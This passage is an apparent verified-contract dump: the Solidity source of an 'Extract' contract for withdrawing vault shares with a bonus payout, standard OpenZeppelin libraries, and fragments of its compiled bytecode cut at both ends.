f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f6f7665727269646520617070726f766520616d6f756e7400000000000000000081525060200191505060405180910390fd5b806106fe6108ac565b1015610772576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f6f766572726964652062616c616e63650000000000000000000000000000000081525060200191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561083c57600080fd5b505af1158015610850573d6000803e3d6000fd5b505050506040513d602081101561086657600080fd5b810190808051906020019092919050505050806003540360038190555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561094c57600080fd5b505afa158015610960573d6000803e3d6000fd5b505050506040513d602081101561097657600080fd5b8101908080519060200190929190505050905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60035481565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a80576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f596f7520617265206e6f7420617574686f72697a65640000000000000000000081525060200191505060405180910390fd5b81600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905091905056fea265627a7a7231582056da8a435c189ed46f5feee1324b7385ec0629ac7030989c0fdd8cab47406bd564736f6c63430005110032
[ 16, 7 ]
0xf367c8dD07d14D5C7180A5Fe4E4E832812f5C72f
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.7.6; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./interfaces/IVault.sol"; import "./interfaces/IUniversalVault.sol"; interface IVisor { function delegatedTransferERC20(address token, address to, uint256 amount) external; } contract Extract { using SafeERC20 for IERC20; using SafeMath for uint256; IVault public hypervisor; address payable public owner; uint256 public bonus; IERC20 public bonusToken; constructor( address _hypervisor, address _bonusToken, address payable _owner ) { hypervisor = IVault(_hypervisor); bonusToken = IERC20(_bonusToken); owner = _owner; } function extractTokens( uint256 shares, address to, address from ) external { require(IUniversalVault(from).owner() == msg.sender, "Sender must own the tokens"); IVisor(from).delegatedTransferERC20(address(from), address(this), shares); uint256 withdrawShares = shares.div(2); IVault(hypervisor).withdraw(withdrawShares, to, address(this)); bonusToken.safeTransfer(to, bonus.mul(shares).div(IERC20(address(hypervisor)).totalSupply())); } function setBonus(uint256 _bonus) external onlyOwner { bonus = _bonus; } function sweepTokens(address token) external onlyOwner { IERC20(token).transfer(owner, IERC20(token).balanceOf(address(this))); } function sweepEth() external onlyOwner { owner.transfer(address(this).balance); } modifier onlyOwner { require(msg.sender == owner, "only owner"); _; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: Unlicense pragma solidity 0.7.6; interface IVault { function deposit( uint256, uint256, address ) external returns (uint256); function withdraw( uint256, address, address ) external returns (uint256, uint256); function rebalance( int24 _baseLower, int24 _baseUpper, int24 _limitLower, int24 _limitUpper, address feeRecipient, int256 swapQuantity ) external; function getTotalAmounts() external view returns (uint256, uint256); event Deposit( address indexed sender, address indexed to, uint256 shares, uint256 amount0, uint256 amount1 ); event Withdraw( address indexed sender, address indexed to, uint256 shares, uint256 amount0, uint256 amount1 ); event Rebalance( int24 tick, uint256 totalAmount0, uint256 totalAmount1, uint256 feeAmount0, uint256 feeAmount1, uint256 totalSupply ); } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; pragma abicoder v2; interface IUniversalVault { /* user events */ event Locked(address delegate, address token, uint256 amount); event Unlocked(address delegate, address token, uint256 amount); event RageQuit(address delegate, address token, bool notified, string reason); /* data types */ struct LockData { address delegate; address token; uint256 balance; } /* initialize function */ function initialize() external; /* user functions */ function lock( address token, uint256 amount, bytes calldata permission ) external; function unlock( address token, uint256 amount, bytes calldata permission ) external; function rageQuit(address delegate, address token) external returns (bool notified, string memory error); function transferERC20( address token, address to, uint256 amount ) external; function transferETH(address to, uint256 amount) external payable; /* pure functions */ function calculateLockID(address delegate, address token) external pure returns (bytes32 lockID); /* getter functions */ function getPermissionHash( bytes32 eip712TypeHash, address delegate, address token, uint256 amount, uint256 nonce ) external view returns (bytes32 permissionHash); function getNonce() external view returns (uint256 nonce); function owner() external view returns (address ownerAddress); function getLockSetCount() external view returns (uint256 count); function getLockAt(uint256 index) external view returns (LockData memory lockData); function getBalanceDelegated(address token, address delegate) external view returns (uint256 balance); function getBalanceLocked(address token) external view returns (uint256 balance); function checkBalances() external view returns (bool validity); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x608060405234801561001057600080fd5b50600436106100885760003560e01c80638da5cb5b1161005b5780638da5cb5b146100f25780639ac84414146100fa578063d3255c8514610102578063f5f6d3af1461013657610088565b80630b98f9751461008d5780631f9e32c2146100ac57806341d4a1ab146100d057806375b4d78c146100d8575b600080fd5b6100aa600480360360208110156100a357600080fd5b503561015c565b005b6100b46101ad565b604080516001600160a01b039092168252519081900360200190f35b6100b46101bc565b6100e06101cb565b60408051918252519081900360200190f35b6100b46101d1565b6100aa6101e0565b6100aa6004803603606081101561011857600080fd5b508035906001600160a01b0360208201358116916040013516610268565b6100aa6004803603602081101561014c57600080fd5b50356001600160a01b03166104e2565b6001546001600160a01b031633146101a8576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9037bbb732b960b11b604482015290519081900360640190fd5b600255565b6000546001600160a01b031681565b6003546001600160a01b031681565b60025481565b6001546001600160a01b031681565b6001546001600160a01b0316331461022c576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9037bbb732b960b11b604482015290519081900360640190fd5b6001546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610265573d6000803e3d6000fd5b50565b336001600160a01b0316816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156102ab57600080fd5b505afa1580156102bf573d6000803e3d6000fd5b505050506040513d60208110156102d557600080fd5b50516001600160a01b031614610332576040805162461bcd60e51b815260206004820152601a60248201527f53656e646572206d757374206f776e2074686520746f6b656e73000000000000604482015290519081900360640190fd5b60408051632e88fb9760e01b81526001600160a01b03831660048201819052306024830152604482018690529151632e88fb979160648082019260009290919082900301818387803b15801561038757600080fd5b505af115801561039b573d6000803e3d6000fd5b5050505060006103b560028561064590919063ffffffff16565b6000805460408051632d182be560e21b8152600481018590526001600160a01b03888116602483015230604483015282519596509092169363b460af94936064808501948390030190829087803b15801561040f57600080fd5b505af1158015610423573d6000803e3d6000fd5b505050506040513d604081101561043957600080fd5b5050600054604080516318160ddd60e01b815290516104dc9286926104c9926001600160a01b03909216916318160ddd91600480820192602092909190829003018186803b15801561048a57600080fd5b505afa15801561049e573d6000803e3d6000fd5b505050506040513d60208110156104b457600080fd5b50516002546104c390896106ae565b90610645565b6003546001600160a01b0316919061070e565b50505050565b6001546001600160a01b0316331461052e576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9037bbb732b960b11b604482015290519081900360640190fd5b600154604080516370a0823160e01b815230600482015290516001600160a01b038085169363a9059cbb9391169184916370a08231916024808301926020929190829003018186803b15801561058357600080fd5b505afa158015610597573d6000803e3d6000fd5b505050506040513d60208110156105ad57600080fd5b5051604080517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561061657600080fd5b505af115801561062a573d6000803e3d6000fd5b505050506040513d602081101561064057600080fd5b505050565b600080821161069b576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b8183816106a457fe5b0490505b92915050565b6000826106bd575060006106a8565b828202828482816106ca57fe5b04146107075760405162461bcd60e51b8152600401808060200182810382526021815260200180610a646021913960400191505060405180910390fd5b9392505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffff